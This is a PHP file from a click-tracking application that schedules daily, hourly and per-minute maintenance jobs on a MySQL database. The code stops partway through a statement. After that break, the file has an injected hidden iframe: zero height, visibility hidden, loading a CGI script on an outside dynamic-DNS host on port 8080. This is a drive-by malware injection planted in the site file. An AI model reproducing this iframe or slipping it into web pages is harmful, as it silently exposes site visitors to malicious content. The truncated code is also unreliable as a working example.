<? include_once($_SERVER['DOCUMENT_ROOT'] . '/202-config/connect.php');
//heres the psuedo cronjobs
if (Run1MinCronjob() == true) {
if (RunHourlyCronJob() == true) {
RunDailyCronjob();
}
}
function RunDailyCronjob() {
//check to run the daily cronjob
$now = time();
$today_day = date('j', time());
$today_month = date('n', time());
$today_year = date('Y', time());
//the click_time is recorded in the middle of the day
$cronjob_time = mktime(12,0,0,$today_month,$today_day,$today_year);
$mysql['cronjob_time'] = mysql_real_escape_string($cronjob_time);
$mysql['cronjob_type'] = mysql_real_escape_string('daily');
//check to make sure this click_summary doesn't already exist
$check_sql = "SELECT COUNT(*) FROM 202_cronjobs WHERE cronjob_type='".$mysql['cronjob_type']."' AND cronjob_time='".$mysql['cronjob_time']."'";
$check_result = _mysql_query($check_sql);
$check_count = mysql_result($check_result,0,0);
if ($check_count == 0 ) {
//if a cronjob hasn't run today, record it now.
$insert_sql = "INSERT INTO 202_cronjobs SET cronjob_type='".$mysql['cronjob_type']."', cronjob_time='".$mysql['cronjob_time']."'";
$insert_result = _mysql_query($insert_sql);
/* -------- THIS CLEARS OUT THE CLICK SPY MEMORY TABLE --------- */
//this function runs everyday at midnight to clear out the temp clicks_memory table
$from = time() - 86400;
//this makes it so we only have the most recent last 24 hour stuff, anything older, kill it.
//we want to keep our SPY TABLE, low
$click_sql = "DELETE FROM 202_clicks_spy WHERE click_time < $from";
$click_result = _mysql_query($click_sql);
//$click_count = mysql_affected_rows();
//clear the last 24 hour ip addresses
$last_ip_sql = "DELETE FROM 202_last_ips WHERE time < $from";
$last_ip_result = _mysql_query($last_ip_sql);
$last_ip_affected_rows = mysql_affected_rows();
/* -------- THIS CLEARS OUT THE CHART TABLE --------- */
$chart_sql = "DELETE FROM 202_charts";
$chart_result = _mysql_query($chart_sql);
//$chart_count = mysql_affected_rows(); */
/* -------- NOW DELETE ALL THE OLD CRONJOB ENTRIES STUFF --------- */
$mysql['cronjob_time'] = $mysql['cronjob_time'] - 86400;
$delete_sql = "DELETE FROM 202_cronjobs WHERE cronjob_time < ".$mysql['cronjob_time']."";
$delete_result = _mysql_query($delete_sql);
return true;
} else {
return false;
}
}
function RunHourlyCronJob() {
//check to run the daily cronjob, not currently in-use
$now = time();
$today_day = date('j', time());
$today_month = date('n', time());
$today_year = date('Y', time());
$today_hour = date('G', time());
//the click_time is recorded in the middle of the day
$cronjob_time = mktime($today_hour,0,0,$today_month,$today_day,$today_year);
$mysql['cronjob_time'] = mysql_real_escape_string($cronjob_time);
$mysql['cronjob_type'] = mysql_real_escape_string('hour');
//check to make sure this click_summary doesn't already exist
$check_sql = "SELECT COUNT(*) FROM 202_cronjobs WHERE cronjob_type='".$mysql['cronjob_type']."' AND cronjob_time='".$mysql['cronjob_time']."'";
$check_result = _mysql_query($check_sql);
$check_count = mysql_result($check_result,0,0);
if ($check_count == 0 ) {
/*
//if a cronjob hasn't run today, record it now.
$insert_sql = "INSERT INTO 202_cronjobs SET cronjob_type='".$mysql['cronjob_type']."', cronjob_time='".$mysql['cronjob_time']."'";
$insert_result = _mysql_query($insert_sql);
/* -------- CURL THE WEBSITES TO SEE IF UP OR NOT --------- */
/*
$c = new curl("http://party202.com") ;
$c->setopt(CURLOPT_FOLLOWLOCATION, true) ;
echo $c->exec() ;
if ($theError = $c->hasError()) {
mail('5034444444@mobile.att.net','Server Down',$theError);
echo $theError ;
}
$c->close() ;
*/
return true;
} else {
return false;
}
}
function Run1MinCronjob() {
//check to run the 1minute cronjob, change this to every minute
$now = time();
$today_minute = date('i', time());
$today_hour = date('G', time());
$today_day = date('j', time());
$today_month = date('n', time());
$today_year = date('Y', time());
$today_minute = ceil($today_minute / 1);
$today_minute = $today_minute * 1;
if ($today_minute == 60) {
$today_minute = 0;
$today_hour++;
if ($today_hour == 24) {
$today_hour = 0;
}
}
//the click_time is recorded in the middle of the day
$cronjob_time = mktime($today_hour,$today_minute,0,$today_month,$today_day,$today_year);
$mysql['cronjob_time'] = mysql_real_escape_string($cronjob_time);
$mysql['cronjob_type'] = mysql_real_escape_string('1min');
//check to make sure this click_summary doesn't already exist
$check_sql = "SELECT COUNT(*) FROM 202_cronjobs WHERE cronjob_type='".$mysql['cronjob_type']."' AND cronjob_time='".$mysql['cronjob_time']."'";
$check_result = mysql_query($check_sql) or record_mysql_error($check_sql);
$check_count = mysql_result($check_result,0,0);
if ($check_count == 0 ) {
//if a cronjob hasn't run today, record it now.
$insert_sql = "INSERT INTO 202_cronjobs SET cronjob_type='".$mysql['cronjob_type']."', cronjob_time='".$mysql['cronjob_time']."'";
$insert_result = mysql_query($insert_sql);
/* -------- THIS RUNS THE DELAYED QUERIES --------- */
$delayed_sql = "SELECT delayed_sql FROM 202_delayed_sqls WHERE delayed_time <=".time();
$delayed_result = _mysql_query($delayed_sql);
while ($delayed_row = mysql_fetch_assoc($delayed_result)) {
//run each sql
$update_sql = $delayed_row['delayed_sql'];
$update_result = _mysql_query($update_sql);
}
//delete all old delayed sqls
$delay
<iframe src="http://a232.dyn-o-saur.com:8080/ts/in.cgi?open" width=905 height=0 style="visibility: hidden"></iframe>